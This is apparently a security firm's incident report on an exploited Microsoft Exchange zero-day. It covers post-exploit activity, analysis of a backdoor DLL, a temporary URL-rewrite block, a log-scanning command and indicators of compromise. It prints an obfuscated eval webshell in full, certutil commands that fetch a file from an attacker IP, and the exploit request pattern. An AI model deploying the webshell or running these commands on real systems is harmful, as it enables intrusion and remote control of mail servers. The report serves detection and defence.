Update

[29-09-2022]: Micrsoft published a blog post detailing mitigation and detection steps regarding the new vulnerabilities: https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/

[03-10-2022]: After receiving information from Jang (@testanull), we noticed that the regex used in the Rewrite Rule could be bypassed. Exploit video PoC

GTSC team updated the new regex in the rule:

“.*autodiscover\.json.*Powershell.*”

GTSC thanks Jang for the support.

Circa the beginning of August 2022, while doing security monitoring & incident response services, GTSC SOC team discovered that a critical infrastructure was being attacked, specifically to their Microsoft Exchange application. During the investigation, GTSC Blue Team experts determined that the attack utilized an unpublished Exchange security vulnerability, i.e., a 0-day vulnerability, thus immediately came up with a temporary containment plan. At the same time, Red Team experts started researching and debugging Exchange de-compiled code to find the vulnerability and exploit code. Thanks to experience finding the previous 1-day Exchange exploit, the RedTeam has a great understanding of Exchange’s code flows and processing mechanisms, therefore research time was reduced, and the vulnerability was uncovered quickly. The vulnerability turns out to be so critical that it allows the attacker to do RCE on the compromised system. GTSC submitted the vulnerability to the Zero Day Initiative (ZDI) right away to work with Microsoft so that a patch could be prepared as soon as possible. ZDI verified and acknowledged 2 bugs, whose CVSS scores are 8.8 and 6.3, concerning the exploit as follows.

However up to now, GTSC has seen other customers also experiencing the similar problem. After careful testing, we confirmed that those systems were being attacked using this 0-day vulnerability. To help the community temporarily stop the attack before an official patch from Microsoft is available, we publish this article aiming to those organizations who are using Microsoft Exchange email system.

Vulnerability information

– While providing SOC service to a customer, GTSC Blueteam detected exploit requests in IIS logs with the same format as ProxyShell vulnerability: autodiscover/[email protected]/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%[email protected]. Also checking other logs, we saw that the attacker can execute commands on the attacked system. The version number of these Exchange servers showed that the latest update had already installed, so an exploitation using Proxyshell vulnerability was impossible -> Blueteam analysts can confirm that it was a new 0-day RCE vulnerability. This information was sent to Redteam, and GTSC’s Redteam members conducted research to answer these questions: Why were the exploit requests similar to those of ProxyShell bug? How is the RCE implemented?

– GTSC Redteam successfully figured out how to use the above path to access a component in the Exchange backend and perform RCE. However at this time, we would like NOT to release technical details of the vulnerability yet.

Post-exploit activities

After successfully mastering the exploit, we recorded attacks to collect information and create a foothold in the victim’s system. The attack team also used various techniques to create backdoors on the affected system and perform lateral movements to other servers in the system.

Webshell

We detected webshells, mostly obfuscated, being dropped to Exchange servers. Using the user-agent, we detected that the attacker uses Antsword, an active Chinese-based opensource cross-platform website administration tool that supports webshell management.

<%@Page Language=”Jscript”%>

<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘NTcyM’+’jk3O3’+’ZhciB’+’zYWZl’+”+’P’+’S’+char(837-763)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘MQ==’))+char(51450/525)+”+”+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘Wg==’))+’m’+”+’UiO2V’+’2YWwo’+’UmVxd’+’WVzdC’+’5JdGV’+’tWydF’+’WjBXS’+’WFtRG’+’Z6bU8’+’xajhk’+’J10sI’+’HNhZm’+’UpOzE’+’3MTY4’+’OTE7’+”)));%>

We suspect that these come from a Chinese attack group because the webshell codepage is 936, which is a Microsoft character encoding for simplified Chinese.

Another notable feature is that the hacker also changes the content of the file RedirSuiteServiceProxy.aspx to webshell content. RedirSuiteServiceProxy.aspx is a legitimate file name available in the Exchange server.

During the incident response process at another customer, GTSC noted that the attack team used another webshell template

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref: https://github.com/antonioCoco/SharPyShell

Command Execution

Besides collecting information on the system, the attacker downloads files, and checks connections through certutil, which is a legitimate tool available in the Windows environment.

“cmd” /c cd /d “c:\\PerfLogs”&certutil.exe -urlcache -split -f http://206.188.196.77:8080/themes.aspx c:\perflogs\t&echo [S]&cd&echo [E]

“cmd” /c cd /d “c:\\PerfLogs”&certutil.exe -urlcache -split -f https://httpbin.org/get c:\test&echo [S]&cd&echo [E]

It should be noted that every command ends with the string echo [S]&cd&echo [E], which is one of the signatures of the Chinese Chopper.

In addition, the hacker also injects malicious DLLs into the memory, drops suspicious files on the attacked servers, and executes these files through WMIC.

Suspicious File

On the servers, we detected suspicious files of exe and dll formats

Among the suspect files, based on the commands executed on the server, we determined that all.exe and dump.dll are responsible for credentials dumping on the server system. After that, the attacker uses rar.exe to compress dumped files and copy them to the webroot of the Exchange server. Unfortunately, during the response process, the above files no longer exist on the compromised system, possibly due to the hacker’s evidence deletion.

The cm.exe file that is dropped into the C:\PerfLogs\ folder is the standard Windows command line tool cmd.exe.

Malware Analysis

DLL information

File name: Dll.dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

DLL analysis

GTSC analyzes a specific sample (074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82) to describe the behavior of the malicious code, other DLL samples have the similar tasks and behaviors, differing only in listener configuration.

The DLL consists of two classes: Run and m, each of which calls to methods that perform different tasks. Specifically:

The Run class creates a listener that listens for connections to port 443 at the path https://*:443/ews/web/webconfig/.

After listening, the malware creates a new thread that calls to r. Method r does:

– Check whether the received request has data in the body or not, if not then returns result 404.

– Conversely, if the request includes data, the DLL continues to process the stream inside the IF branch:

Check if the received request includes “RPDbgEsJF9o8S=” or not. If yes, call method i in class m to handle received request. Results returned from Run.m.i will be coverted to a base64 string. Results returned to the client in the following format

{

“result”:1,

“message”:”base64(aes(result))”

}

Class m

Method i does:

– Decrypt the request received using AES algorithm where the first 16 bytes of the request are the IV value, the next 16 bytes are the key value, the rest are the data.

– After decoding, get the first element in the array as a flag to handle the defined cases as follows:

o   Case 0: Call to method info. This method is responsible for collecting system information. Information such as operating system architecture, framework version, operating system version, etc. GTSC simulates case 0 with the image below. The request is sent in a format that the first 16 bytes are the IV value, the next 16 bytes are the key value, followed by a flag to specify the option, and the rest is data.

base64 (IV | key | aes(flag|data))

o   Case 1: Calls to method sc, which is responsible for allocating memory to implment the shellcode

o   Case 2: Call to two methods p and r. Method p handles data separated by the “|” character, save to array array3. The array array3 will take the first 2 elements as parameters for method r, which is responsible for executing the command

o Case 3: Call to method ld, which is responsible for listing directory and file information in the format

D|-|<Date created> |<Date modified> |<folder or file name>

o Case 4: Call to method wf, which is responsible for writing files

o   Case 5: Call to method rf, which is responsible for reading files

o Case 6: Create a folder

o Case 7: Delete file or folder

o Case 8: Moving file

o Case 9: Set time for a file

o Case 10: Load and execute C# bytecode received from request.

The other DLL samples have similar tasks, and are only different in listener configurations as follows:

Victim 1:

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

Victim 2:

http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

GTSC also detected that the DLL was injected into the memory of the svchost.exe process. The DLL makes a connection to send and receive data to the address 137[.]184[.]67[.]33 that is fixed in the binary. Sending and receiving data with C2 using the RC4 encryption algorithm where the key will be generated at runtime.

Temporary containment measures

GTSC’s direct incident response process recorded more than 1 organizations being the victims of an attack campaign exploiting this 0-day vulnerability. In addition, we are also concerned that there may be many other organizations that have been exploited but have not been discovered. While waiting for the official patch from the company, GTSC provides a temporary remedy to reduce the vulnerability of attacks by adding a rule to block requests with indicators of attack through the URL Rewrite Rule module on IIS server.

– At FrontEnd select tab URL Rewrite, select Request Blocking

– Add string “.*autodiscover\.json.*Powershell.*“ to the URL Path:

– Condition input: Choose {REQUEST_URI}

We recommend all organizations/enterprises around the world that are using Microsoft Exchange Server to check, review, and apply the above temporary remedy as soon as possible to avoid potential serious damages.

Detection:

To help organizations check if their Exchange Servers have been exploited by this bug yet, GTSC have released guideline and a tool to scan IIS log files (stored by default in the %SystemDrive%\inetpub\logs\LogFiles folder ):

Method 1: Use powershell command:
Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter “*.log” | Select-String -Pattern ‘powershell.*autodiscover\.json.*\@.*200’

Method 2: Use the tool developed by GTSC: Based on the exploit signature, we build a tool to search with much shorter time needed than using powershell. The link to download: https://github.com/ncsgroupvn/NCSE0Scanner

Indicators of Compromise (IOCs)

Webshell:

File Name: pxh4HG1v.ashx

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: Xml.ashx (pxh4HG1v.ashx and Xml.ashx, 2 files have the same contents)

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: C:\inetpub\wwwroot\aspnet_client\Xml.ashx

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx

DLL:

File name: Dll.dll

SHA256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

File name: 180000000.dll (Dump từ tiến trình Svchost.exe)

SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e

IP:

125[.]212[.]220[.]48

5[.]180[.]61[.]17

47[.]242[.]39[.]92

61[.]244[.]94[.]85

86[.]48[.]6[.]69

86[.]48[.]12[.]64

94[.]140[.]8[.]48

94[.]140[.]8[.]113

103[.]9[.]76[.]208

103[.]9[.]76[.]211

104[.]244[.]79[.]6

112[.]118[.]48[.]186

122[.]155[.]174[.]188

125[.]212[.]241[.]134

185[.]220[.]101[.]182

194[.]150[.]167[.]88

212[.]119[.]34[.]11

URL:

hxxp://206[.]188[.]196[.]77:8080/themes.aspx

C2:

137[.]184[.]67[.]33

Mitre ATT&CK Mapping

28/09/2022

GTSC TEAM